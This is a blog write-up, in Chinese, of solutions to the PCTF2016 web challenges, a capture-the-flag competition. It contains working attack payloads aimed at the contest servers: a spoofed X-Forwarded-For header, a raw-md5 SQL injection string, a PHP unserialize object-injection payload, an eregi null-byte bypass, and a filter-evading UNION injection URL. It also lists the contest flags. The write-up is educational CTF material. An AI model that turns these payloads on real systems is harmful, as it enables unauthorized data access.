PCTF2016 Web WriteUp

原创

Bendawang 于 2016-05-15 22:58:41 发布 4861 收藏

分类专栏： WriteUp Web 文章标签： web CTF pctf Writeup

本文链接：https://blog.csdn.net/qq_19876131/article/details/51420003

web100 PORT51

题目要求用本机的51端口去访问他的网站。

好吧这是最犯蠢的一个题了。哔了狗了。本来简简单单的一行命令就解决的事儿。最简单的`payload`如下：

```
curl --local-port 51 http://xxxxxxxx
```

结果最后我写了两份150行代码，因为考虑到现在的库啊什么的都没办法固定本机的端口，所以我想到了C的socket编程，先我在windows下写好之后，连`wireshark`抓包抓出来都没问题了，后来再`Melody`大神的提醒下，知道校网的NAT产生了影响，所以想到了在`VPS`下跑程序就可以，所以又写了一份linux下的代码，贴一下把，如下：

```
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<sys/stat.h>
#include<arpa/inet.h>
#include <errno.h>
#define MAXBUF 256
char *request_head = "GET %s HTTP/1.1\r\n"
    "Accept: text/html, application/xml, */*\r\nAccept-Language: zh-cn\r\n"
    "Accept-Encoding: gzip, deflate\r\nHost: %s:%d\r\n"
    "User-Agent: bendawang's Browser <0.1>\r\nConnection: Keep-Alive\r\n\r\n";
#define REMOTE_PORT         32772
#define REMOTE_IP_ADDRESS "103.39.76.105"

#define HTTP_DEF_PORT     32772
#define HTTP_BUF_SIZE    2048
#define HTTP_HOST_LEN     256
#define MAX_CMD_LEN      256
#define MAC_ADDR_LEN     12
#define local_port 51
```

```
#define local_ip "xxx.xxx.xxx.xxx"  //自己的IP
char MacAddr[MAC_ADDR_LEN+1];
char *url= "/";
char host[HTTP_HOST_LEN] =REMOTE_IP_ADDRESS;
unsigned short port = HTTP_DEF_PORT;


char* join(char *s1, char *s2)
{
    char *result =(char *) malloc(strlen(s1)+strlen(s2)+1);
    if (result == NULL) exit (1);
    strcpy(result, s1);
    strcat(result, s2);
    return result;
}

int recvn(int s, char* recvbuf, unsigned int fixedlen)
{
    int iResult;
    int cnt;
    cnt = fixedlen;
    while ( cnt > 0 ) {
        iResult = recv(s, recvbuf, cnt, 0);
        if ( iResult < 0 ){
            printf("Recieve error!");
            return -1;
        }
        if ( iResult == 0 ){
            printf("Connection Closed!\n");
            return-1;
        }
        recvbuf +=iResult;
        cnt -=iResult;
    }
    return fixedlen;
}

int http_send_client(int ClientSocket,char * a){
    char * tempurl=url;
    char sendbuf[HTTP_BUF_SIZE]="\0";
    tempurl=join(tempurl,a);
    int sendlen = sprintf(sendbuf, request_head, tempurl, host, port);
    puts(sendbuf);
    //printf("  %d",sendlen);
    getchar();
    int Ret = send(ClientSocket, sendbuf, sendlen, 0);
    Ret = recv(ClientSocket, sendbuf, HTTP_BUF_SIZE,0);
    printf("%s",sendbuf);
    getchar();
    return Ret;
}


int main()
{
    int ssock;
    int clen;
    struct sockaddr_in server_addr;
    struct sockaddr_in LocalAddr;
    char buf[MAXBUF];
```

```
        if((ssock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0){
            perror("socket error:");
            exit(1);
        }
        clen = sizeof(server_addr);
        memset(&server_addr,0,sizeof(server_addr));
        server_addr.sin_family     =AF_INET;
        server_addr.sin_addr.s_addr=inet_addr(REMOTE_IP_ADDRESS);
        server_addr.sin_port       =htons(REMOTE_PORT);
        memset(server_addr.sin_zero, 0, 8);

        memset(&LocalAddr,0,sizeof(LocalAddr));
        LocalAddr.sin_family = AF_INET;
        LocalAddr.sin_port = htons(local_port);
        inet_pton(AF_INET,local_ip,&LocalAddr.sin_addr);

        int Ret= bind(ssock,(struct sockaddr*)&LocalAddr,sizeof(LocalAddr));
            //memset(server_addr.sin_zero, 0, 8);
            //int Ret =bind(ssock,(struct sockaddr *)&LocalAddr,sizeof(LocalAddr));
            //int Ret = bind(ssock, (struct sockaddr*)&LocalAddr, sizeof(LocalAddr));
        if (Ret != 0)
            {
                    printf("bind error\n");
            }
        if(connect(ssock,(struct sockaddr *)&server_addr,clen)<0){
            perror("connect error:");
            exit(1);
        }
        //printf("1");
        Ret = connect(ssock,(struct sockaddr*)&server_addr, sizeof(server_addr));
        while (1){
            http_send_client(ssock, "");
            }

        memset(buf,0,MAXBUF);
        if(read(ssock,buf,MAXBUF)<=0)
        {
            perror("read error:");
            exit(1);
        }
        close(ssock);
        printf("\n read: %s\n",buf);
        return 0;
    }
```

程序运行截图如下：

所以最后的flag就是`PCTF{M45t3r_oF_CuRl}`

web150 LOCALHOST

根据提示说是`localhost access only!!`
那直接在请求头上加上`X-Forwarded-For:127.0.0.1`就可以了，如下

web250 Login

通过抓包在响应头里面看到hint如下：


```
hint : "select * from `admin` where password='".md5($pass,true)."'"
```

根据http://www.ilrose.com/blog/2015/07/08/md5%E5%8A%A0%E5%AF%86%E5%90%8E%E7%9A%84sql-%E6%B3%A8%E5%85%A5/，
直接输入`ffifdyop`，得到flag为`PCTF{R4w_md5_is_d4ng3rous}`

web300 神盾局的秘密

这里查看源码看到有一个`showimg.php`，然后访问这个页面，并随便给参数`img`附一个参数，得到这个错误：

读取文件错误，那么问题来了，img参数显然是base64编码的，通过img我就可以读取任意代码了，读取`showimg.php`代码

```
<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>
```

再看看我们的`index.php`的代码如下：

```
<?php
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>
```

再看看我们的`sheild.php`：

```php
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>
```

看到hint说是`pctf.php`里面有flag，直接访问或是通过`showimg.php`都是不行的。
其实读到`index.php`就应该已经看出来了这里肯定有反序列化漏洞了，
这里先打一波自己博客的广告，之前我写过这方面的博客，大家可以看看：

```
http://blog.csdn.net/qq_19876131/article/details/50926210
```

好的我们继续，然后`shield.php`中果然给出了`Shield`类，那么又说了flag在`pctf.php`中，那么直接给class传参获取`pctf.php`内容即可。那么有如下代码生成`payload`：

```php
<?php
class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
$a=new Shield();
$a->file="pctf.php";
echo serialize($a);
?>
```

得到`O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}`
所以最后的`payload`就是：

```
http://web.phrack.top:32779/?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
```

在源码里面看到flag：

即`PCTF{W3lcome_To_Shi3ld_secret_Ar3a}`

web500 IN A Mess

在源码中获得提示`index.phps`，访问后得到代码如下，不由得吐槽一句，终于遇到最喜欢的代码题了，爆炸。。

```php
<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}
?>
```

先看参数`id`，有代码可知id=0a，弱类型比较。
再看看`a`，他要输入一个文件使内容为`1112 is a nice lab!`,在自己的服务器上建一个名为`1`的文件内容就是`1112 is a nice lab!`，然后把自己的服务器ip转为`10进制ip`来绕过对`.`的匹配。
最后是`b`，已知`eregi`遇到%00终止，那么我们直接构造`b=%0044444`
绕过之后得到如下：

一看到就激动了，发现并不是flag，好吧，我的第一反应是vim里面的正则，`/`是搜索嘛，然后后面恰好又是一个正则，那么flag一定就是`HT2mCpcvOLf`这个了，结果并不是。。

。

。

。

。

折腾了好久，后来才发现把它复制到url上。。。然后进入到本题的第二个部分，注入注入！

试了试，过滤不多，就过滤了像是空格啊，回车啊，tab啊之类根本没什么屁用的东西，像是select，from什么的也都只被正则替换了一次，用`selselectect`就能绕过，另外还过滤了`08`，`09`,`20`等等敏感的数字。

好吧，这里我再次犯了个蠢，我不知道当时怎么搞的，我以为`union`被完全过滤了，害的我后面用盲注，明明直接可以很简单就爆出来的。

报警了。

盲注坑就坑在它过滤了08,09,0a,20等等，那么在脚本爆破的时候，像是120,0x0a，20这些数字都是血崩的，最后我是脚本盲注加手调出来的。

脚本我就不贴了（忘了丢哪儿去了），反正比较简单,主要是一定要手动确认下各个位置，最后爆出来就是一个表`content`表，和三个字段`id,context,title`。

flag就在context字段里面,而那个`hi666`就是`title`字段的值。

.

.

.

后来才醒悟过来`union`也和`select`之流一样并没有被完全过滤，真是蠢啊！！！

后来试了试用`union`去回显爆库，它是总共有三个字段，显示的是第三个字段，像是空格被过滤的话用各种括号就可以绕过了，最后的`payload`如下：

```
http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0%26(1=2)uniounionn(selselectect(1),(2),(context)
```

得到最后的flag就是`PCTF{Fin4lly_U_got_i7_C0ngRatulation5}`

真是哔了狗了，明明很简单的题，总是自己搞复杂了。炸！

不过也没事儿，盲注毕竟是万能了，当做熟悉下好了。（真的没有安慰自己）

web350 flag在管理员手里

一道原题不想去再看了，索性就没做了，放个链接

http://www.2cto.com/Article/201405/298779.html